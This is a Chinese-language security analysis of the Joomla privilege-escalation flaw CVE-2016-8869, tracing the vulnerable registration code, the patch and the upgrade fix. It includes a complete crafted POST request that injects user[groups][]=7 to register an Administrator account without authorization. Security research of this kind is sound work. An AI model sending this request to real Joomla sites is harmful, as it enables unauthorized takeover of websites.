Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-26
0x00 漏洞概述
1.漏洞简介
Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析 CVE-2016-8869,利用该漏洞,攻击者可以在网站关闭注册的情况下注册特权用户。Joomla 官方已对此漏洞发布升级公告。
2.漏洞影响
网站关闭注册的情况下仍可创建特权用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。
3.影响版本
3.4.4 to 3.6.3
0x01 漏洞复现
1. 环境搭建
1 |
wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz |
解压后放到服务器目录下,例如/var/www/html
创建个数据库:
1 |
docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql |
2.漏洞分析
注册
注册部分可参考:《Joomla未授权创建用户漏洞(CVE-2016-8870)分析》
提权
下面我们来试着创建一个特权用户。
在用于注册的register
函数中,我们先看一下$model->register($data)
这个存储注册信息的方法,在components/com_users/models/registration.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
public function register($temp) { $params = JComponentHelper::getParams('com_users'); // Initialise the table with JUser. $user = new JUser; $data = (array) $this->getData(); // Merge in the registration data. foreach ($temp as $k => $v) { $data[$k] = $v; } ... } |
可以看到这里使用我们可控的$temp
给$data
赋值,进而存储注册信息。正常情况下,$data
在赋值之前是这样的:
而正常情况下我们可控的$temp
中是没有groups
这个数组的,所以正常注册用户的权限就是我们配置中设置的权限,对应的就是groups
的值。
那么提升权限的关键就在于更改groups
中的值,因为$data
由我们可控的$temp
赋值,$temp
的值来自于请求包,所以我们可以构造如下请求包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
POST /index.php/component/users/?task=registration.register HTTP/1.1 ... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI ... Cookie: yourcookie ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[name]" attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[username]" attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[password1]" attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[password2]" attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[email1]" attacker2@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[email2]" attacker2@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[groups][]" 7 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="option" com_users ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="task" user.register ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="yourtoken" 1 ------WebKitFormBoundaryefGhagtDbsLTW5qI-- |
这里我们添加一组值:name="user[groups][]" value=7
,让user
被当作二维数组,从而groups
被识别为数组,并设置数组第一个值为7,对应着Administrator
的权限。
然后发包,通过调试可以看到$temp
中已经有了groups
数组:
最后创建了一个权限为Administrator
的用户attacker2:
通过存在漏洞的注册函数我们可以提权,那么在允许注册的情况下我们可不可以通过正常的注册函数来提权呢?
通过对比这两个函数,可以发现这样一点:
UsersControllerRegistration::register()
:
1 2 3 4 5 6 7 8 9 10 11 |
public function register() { ... $data = $model->validate($form, $requestData); ... // Attempt to save the data. $return = $model->register($data); ... } |
UsersControllerUser::register()
:
1 2 3 4 5 6 7 8 9 10 11 |
public function register() { ... $return = $model->validate($form, $data); ... // Attempt to save the data. $return = $model->register($data); ... } |
可以看到UsersControllerRegistration::register()
中存储了对$requestData
验证后的$data
,而UsersControllerUser::register()
虽然同样进行了验证,但是存储的仍是之前的$data
。所以重点是validate
函数是否对groups
进行了过滤,我们跟进一下,在libraries/legacy/model/form.php
中:
1 2 3 4 5 6 7 |
public function validate($form, $data, $group = null) { ... // Filter and validate the form data. $data = $form->filter($data); ... } |
再跟进filter
函数,在libraries/joomla/form/form.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
public function filter($data, $group = null) { ... // Get the fields for which to filter the data. $fields = $this->findFieldsByGroup($group); if (!$fields) { // PANIC! return false; } // Filter the fields. foreach ($fields as $field) { $name = (string) $field['name']; // Get the field groups for the element. $attrs = $field->xpath('ancestor::fields[@name]/@name'); $groups = array_map('strval', $attrs ? $attrs : array()); $group = implode('.', $groups); $key = $group ? $group . '.' . $name : $name; // Filter the value if it exists. if ($input->exists($key)) { $output->set($key, $this->filterField($field, $input->get($key, (string) $field['default']))); } } return $output->toArray(); } |
可以看到这里仅允许$fields
中的值出现在$data
中,而$fields
中是不存在groups
的,所以groups
在这里被过滤掉,也就没有办法进行权限提升了。
2016-10-27 更新:
默认情况下,新注册的用户需要通过注册邮箱激活后才能使用。并且:
由于$data['activation']
的值会被覆盖,所以我们也没有办法直接通过请求更改用户的激活状态。
2016-11-01 更新:
感谢三好学生
和D
的提示,可以使用邮箱激活的前提是网站开启了注册功能,否则不会成功激活。
我们看激活时的代码,在components/com_users/controllers/registration.php
中第28-99行的activate
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
public function activate() { $user = JFactory::getUser(); $input = JFactory::getApplication()->input; $uParams = JComponentHelper::getParams('com_users'); ... // If user registration or account activation is disabled, throw a 403. if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) { JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } ... } |
这里可以看到仅当开启注册功能时才允许激活,否则返回403。
3.补丁分析
官方删除了UsersControllerUser::register()
方法。
0x02 修复方案
升级到3.6.4
0x03 参考
https://www.seebug.org/vuldb/ssvid-92495
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4